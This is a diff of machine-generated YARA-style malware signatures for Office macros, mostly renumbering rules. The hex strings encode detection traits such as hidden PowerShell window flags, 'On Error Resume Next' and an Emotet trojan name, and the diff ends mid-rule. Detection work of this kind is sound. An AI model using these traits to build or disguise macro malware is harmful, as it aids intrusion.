-294578,7 +311048,7 @@ rule _InfrastructureShared_22515{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22516{ +rule _InfrastructureShared_23800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294588,7 +311058,7 @@ rule _InfrastructureShared_22516{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22517{ +rule _InfrastructureShared_23801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294598,7 +311068,7 @@ rule _InfrastructureShared_22517{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22518{ +rule _InfrastructureShared_23802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294608,7 +311078,7 @@ rule _InfrastructureShared_22518{ ((#a_53_0 & 1)*19747) >=2 } -rule _InfrastructureShared_22519{ +rule _InfrastructureShared_23803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294618,7 +311088,7 @@ rule _InfrastructureShared_22519{ ((#a_53_0 & 1)*19747) >=2 } -rule _InfrastructureShared_22520{ +rule _InfrastructureShared_23804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294628,7 +311098,7 @@ rule _InfrastructureShared_22520{ ((#a_53_0 & 1)*19747) >=2 } -rule _InfrastructureShared_22521{ +rule _InfrastructureShared_23805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294638,7 +311108,7 @@ rule _InfrastructureShared_22521{ ((#a_53_0 & 1)*19747) >=3 } -rule _InfrastructureShared_22522{ +rule _InfrastructureShared_23806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294648,7 +311118,7 @@ rule _InfrastructureShared_22522{ ((#a_53_0 & 1)*19747) >=3 } -rule _InfrastructureShared_22523{ +rule _InfrastructureShared_23807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294658,7 +311128,7 @@ rule _InfrastructureShared_22523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22524{ +rule _InfrastructureShared_23808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294668,7 +311138,7 @@ rule _InfrastructureShared_22524{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22525{ +rule _InfrastructureShared_23809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294679,7 +311149,7 @@ rule _InfrastructureShared_22525{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*17996) >=1 } -rule _InfrastructureShared_22526{ +rule _InfrastructureShared_23810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 01 00 21 " @@ -294689,7 +311159,7 @@ rule _InfrastructureShared_22526{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_22527{ +rule _InfrastructureShared_23811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294700,7 +311170,7 @@ rule _InfrastructureShared_22527{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_22528{ +rule _InfrastructureShared_23812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294711,7 +311181,7 @@ rule _InfrastructureShared_22528{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_22529{ +rule _InfrastructureShared_23813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294722,7 +311192,7 @@ rule _InfrastructureShared_22529{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_22530{ +rule _InfrastructureShared_23814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -294735,7 +311205,7 @@ rule _InfrastructureShared_22530{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*0+(#a_48_2 & 1)*8993+(#a_00_3 & 1)*1) >=2 } -rule _InfrastructureShared_22531{ +rule _InfrastructureShared_23815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -294747,7 +311217,7 @@ rule _InfrastructureShared_22531{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*0+(#a_54_3 & 1)*18509) >=4 } -rule _InfrastructureShared_22532{ +rule _InfrastructureShared_23816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294757,7 +311227,7 @@ rule _InfrastructureShared_22532{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22533{ +rule _InfrastructureShared_23817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294767,7 +311237,7 @@ rule _InfrastructureShared_22533{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22534{ +rule _InfrastructureShared_23818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294777,7 +311247,7 @@ rule _InfrastructureShared_22534{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22535{ +rule _InfrastructureShared_23819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294787,7 +311257,7 @@ rule _InfrastructureShared_22535{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22536{ +rule _InfrastructureShared_23820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294797,7 +311267,7 @@ rule _InfrastructureShared_22536{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22537{ +rule _InfrastructureShared_23821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -294807,7 +311277,7 @@ rule _InfrastructureShared_22537{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22538{ +rule _InfrastructureShared_23822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -294817,7 +311287,7 @@ rule _InfrastructureShared_22538{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22539{ +rule _InfrastructureShared_23823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294827,7 +311297,7 @@ rule _InfrastructureShared_22539{ ((#a_53_0 & 1)*19747) >=3 } -rule _InfrastructureShared_22540{ +rule _InfrastructureShared_23824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294837,7 +311307,7 @@ rule _InfrastructureShared_22540{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22541{ +rule _InfrastructureShared_23825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294847,7 +311317,7 @@ rule _InfrastructureShared_22541{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22542{ +rule _InfrastructureShared_23826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294857,7 +311327,7 @@ rule _InfrastructureShared_22542{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22543{ +rule _InfrastructureShared_23827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294867,7 +311337,7 @@ rule _InfrastructureShared_22543{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22544{ +rule _InfrastructureShared_23828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294877,7 +311347,7 @@ rule _InfrastructureShared_22544{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22545{ +rule _InfrastructureShared_23829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294887,7 +311357,7 @@ rule _InfrastructureShared_22545{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22546{ +rule _InfrastructureShared_23830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294897,7 +311367,7 @@ rule _InfrastructureShared_22546{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22547{ +rule _InfrastructureShared_23831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -294908,7 +311378,7 @@ rule _InfrastructureShared_22547{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*2) >=1 } -rule _InfrastructureShared_22548{ +rule _InfrastructureShared_23832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -294920,7 +311390,7 @@ rule _InfrastructureShared_22548{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*3+(#a_53_3 & 1)*19747) >=2 } -rule _InfrastructureShared_22549{ +rule _InfrastructureShared_23833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294931,7 +311401,7 @@ rule _InfrastructureShared_22549{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*1) >=3 } -rule _InfrastructureShared_22550{ +rule _InfrastructureShared_23834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294941,7 +311411,7 @@ rule _InfrastructureShared_22550{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22551{ +rule _InfrastructureShared_23835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294951,7 +311421,7 @@ rule _InfrastructureShared_22551{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22552{ +rule _InfrastructureShared_23836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294961,7 +311431,7 @@ rule _InfrastructureShared_22552{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22553{ +rule _InfrastructureShared_23837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294971,7 +311441,7 @@ rule _InfrastructureShared_22553{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22554{ +rule _InfrastructureShared_23838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294981,7 +311451,7 @@ rule _InfrastructureShared_22554{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22555{ +rule _InfrastructureShared_23839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294992,7 +311462,7 @@ rule _InfrastructureShared_22555{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28928) >=1 } -rule _InfrastructureShared_22556{ +rule _InfrastructureShared_23840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295003,7 +311473,7 @@ rule _InfrastructureShared_22556{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28928) >=1 } -rule _InfrastructureShared_22557{ +rule _InfrastructureShared_23841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295015,7 +311485,7 @@ rule _InfrastructureShared_22557{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28928+(#a_00_2 & 1)*-28928) >=1 } -rule _InfrastructureShared_22558{ +rule _InfrastructureShared_23842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295028,7 +311498,7 @@ rule _InfrastructureShared_22558{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28928+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928) >=1 } -rule _InfrastructureShared_22559{ +rule _InfrastructureShared_23843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -295042,7 +311512,7 @@ rule _InfrastructureShared_22559{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28928+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928+(#a_00_4 & 1)*-28928) >=5 } -rule _InfrastructureShared_22560{ +rule _InfrastructureShared_23844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295052,7 +311522,7 @@ rule _InfrastructureShared_22560{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22561{ +rule _InfrastructureShared_23845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295062,7 +311532,7 @@ rule _InfrastructureShared_22561{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22562{ +rule _InfrastructureShared_23846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295072,7 +311542,7 @@ rule _InfrastructureShared_22562{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22563{ +rule _InfrastructureShared_23847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295082,7 +311552,7 @@ rule _InfrastructureShared_22563{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22564{ +rule _InfrastructureShared_23848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295093,7 +311563,7 @@ rule _InfrastructureShared_22564{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*29286) >=2 } -rule _InfrastructureShared_22565{ +rule _InfrastructureShared_23849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -295105,7 +311575,7 @@ rule _InfrastructureShared_22565{ ((#a_53_0 & 1)*19747+(#a_57_1 & 1)*0+(#a_63_2 & 1)*21294) >=2 } -rule _InfrastructureShared_22566{ +rule _InfrastructureShared_23850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295115,7 +311585,7 @@ rule _InfrastructureShared_22566{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22567{ +rule _InfrastructureShared_23851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295125,7 +311595,7 @@ rule _InfrastructureShared_22567{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22568{ +rule _InfrastructureShared_23852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295135,7 +311605,7 @@ rule _InfrastructureShared_22568{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22569{ +rule _InfrastructureShared_23853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295146,7 +311616,7 @@ rule _InfrastructureShared_22569{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_22570{ +rule _InfrastructureShared_23854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295158,7 +311628,7 @@ rule _InfrastructureShared_22570{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*0+(#a_23_3 & 1)*2) >=1 } -rule _InfrastructureShared_22571{ +rule _InfrastructureShared_23855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295168,7 +311638,7 @@ rule _InfrastructureShared_22571{ ((#a_53_0 & 1)*19747) >=2 } -rule _InfrastructureShared_22572{ +rule _InfrastructureShared_23856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -295179,7 +311649,7 @@ rule _InfrastructureShared_22572{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_22573{ +rule _InfrastructureShared_23857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -295190,7 +311660,7 @@ rule _InfrastructureShared_22573{ ((#a_53_0 & 1)*19747+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_22574{ +rule _InfrastructureShared_23858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295200,7 +311670,7 @@ rule _InfrastructureShared_22574{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22575{ +rule _InfrastructureShared_23859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295210,7 +311680,7 @@ rule _InfrastructureShared_22575{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22576{ +rule _InfrastructureShared_23860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295220,7 +311690,7 @@ rule _InfrastructureShared_22576{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22577{ +rule _InfrastructureShared_23861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295230,7 +311700,7 @@ rule _InfrastructureShared_22577{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22578{ +rule _InfrastructureShared_23862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295240,7 +311710,7 @@ rule _InfrastructureShared_22578{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22579{ +rule _InfrastructureShared_23863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295250,7 +311720,7 @@ rule _InfrastructureShared_22579{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22580{ +rule _InfrastructureShared_23864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295261,7 +311731,7 @@ rule _InfrastructureShared_22580{ ((#a_6c_0 & 1)*16675+(#a_63_1 & 1)*29295) >=2 } -rule _InfrastructureShared_22581{ +rule _InfrastructureShared_23865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295272,7 +311742,7 @@ rule _InfrastructureShared_22581{ ((#a_53_0 & 1)*19747+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_22582{ +rule _InfrastructureShared_23866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295285,7 +311755,7 @@ rule _InfrastructureShared_22582{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*25974+(#a_73_2 & 1)*26210+(#a_65_3 & 1)*28528) >=4 } -rule _InfrastructureShared_22583{ +rule _InfrastructureShared_23867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295295,7 +311765,7 @@ rule _InfrastructureShared_22583{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22584{ +rule _InfrastructureShared_23868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295305,7 +311775,7 @@ rule _InfrastructureShared_22584{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22585{ +rule _InfrastructureShared_23869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295315,7 +311785,7 @@ rule _InfrastructureShared_22585{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22586{ +rule _InfrastructureShared_23870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295325,7 +311795,7 @@ rule _InfrastructureShared_22586{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22587{ +rule _InfrastructureShared_23871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295335,7 +311805,7 @@ rule _InfrastructureShared_22587{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_22588{ +rule _InfrastructureShared_23872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295346,7 +311816,7 @@ rule _InfrastructureShared_22588{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*30066) >=1 } -rule _InfrastructureShared_22589{ +rule _InfrastructureShared_23873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295357,7 +311827,7 @@ rule _InfrastructureShared_22589{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*12079) >=2 } -rule _InfrastructureShared_22590{ +rule _InfrastructureShared_23874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295368,7 +311838,7 @@ rule _InfrastructureShared_22590{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*25968) >=2 } -rule _InfrastructureShared_22591{ +rule _InfrastructureShared_23875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -295380,7 +311850,7 @@ rule _InfrastructureShared_22591{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*28261+(#a_62_2 & 1)*26980) >=2 } -rule _InfrastructureShared_22592{ +rule _InfrastructureShared_23876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -295392,7 +311862,7 @@ rule _InfrastructureShared_22592{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*29230+(#a_6e_2 & 1)*28484) >=2 } -rule _InfrastructureShared_22593{ +rule _InfrastructureShared_23877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 02 00 21 " @@ -295403,7 +311873,7 @@ rule _InfrastructureShared_22593{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*16724) >=3 } -rule _InfrastructureShared_22594{ +rule _InfrastructureShared_23878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295413,7 +311883,7 @@ rule _InfrastructureShared_22594{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22595{ +rule _InfrastructureShared_23879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295423,7 +311893,7 @@ rule _InfrastructureShared_22595{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22596{ +rule _InfrastructureShared_23880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295433,7 +311903,7 @@ rule _InfrastructureShared_22596{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22597{ +rule _InfrastructureShared_23881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295443,7 +311913,7 @@ rule _InfrastructureShared_22597{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22598{ +rule _InfrastructureShared_23882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295454,7 +311924,7 @@ rule _InfrastructureShared_22598{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8747) >=1 } -rule _InfrastructureShared_22599{ +rule _InfrastructureShared_23883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295465,30 +311935,43 @@ rule _InfrastructureShared_22599{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*1026) >=1 } -rule _InfrastructureShared_22600{ +rule _InfrastructureShared_23884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_53_0 = {52 3a 4d 61 63 72 6f 48 69 64 64 65 6e 00 01 00 09 00 2d 77 20 68 69 64 64 65 6e 01 00 13 00 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 06 01 76 62 48 69 64 65 01 00 0d 01 48 49 44 44 45 4e 5f 57 } //19747 $a_4f_1 = {00 00 8f 5b 00 00 02 00 02 00 02 00 21 23 4d 48 53 54 52 3a 4f 6e 45 72 72 6f 72 52 65 73 75 6d 65 4e 65 78 74 4f 6e 41 6c 6c 46 75 6e 63 74 69 6f 6e 73 00 01 00 14 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 } //20041 - $a_20_2 = {65 78 74 01 00 0f 02 46 75 6e 63 74 69 6f 6e 20 90 02 20 28 90 00 00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 45 6d 6f 74 65 74 2e 52 49 31 31 30 38 21 4d 54 42 00 01 00 0b 01 31 2e 6f 6f 6f 63 63 63 78 78 78 01 00 0b 01 32 2e 6f 6f 6f 63 63 63 78 78 } //28021 + $a_20_2 = {65 78 74 01 00 0f 02 46 75 6e 63 74 69 6f 6e 20 90 02 20 28 90 00 00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 4d 69 75 70 6f 72 75 45 78 63 6c 75 73 69 6f 6e 00 01 00 10 00 53 45 4c 45 43 54 20 44 49 53 54 49 4e 43 54 20 01 00 16 00 41 73 20 4e 65 77 20 61 64 6f 64 62 2e 52 65 63 6f 72 } //28021 + $a_74_3 = {00 08 00 2e 47 65 74 52 6f 77 73 00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 45 6d 6f 74 65 74 2e 52 49 31 31 30 38 21 4d 54 42 00 01 00 0b 01 31 2e 6f 6f 6f 63 63 63 78 78 78 01 00 0b 01 32 2e 6f 6f 6f 63 63 63 78 78 78 01 00 0b 01 33 2e 6f 6f 6f 63 } //29540 condition: - ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*20041+(#a_20_2 & 1)*28021) >=1 + ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*20041+(#a_20_2 & 1)*28021+(#a_74_3 & 1)*29540) >=1 } -rule _InfrastructureShared_22601{ +rule _InfrastructureShared_23885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_53_0 = {52 3a 4f 6e 45 72 72 6f 72 52 65 73 75 6d 65 4e 65 78 74 4f 6e 41 6c 6c 46 75 6e 63 74 69 6f 6e 73 00 01 00 14 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 01 00 0f 02 46 75 6e 63 74 69 6f 6e 20 90 } //19747 - $a_90_1 = {00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 45 6d 6f 74 65 74 2e 52 } //8194 + $a_90_1 = {00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 4d 69 75 70 6f 72 75 45 78 63 6c 75 73 69 6f 6e 00 01 00 10 } //8194 condition: ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8194) >=2 } -rule _InfrastructureShared_22602{ +rule _InfrastructureShared_23886{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_53_0 = {52 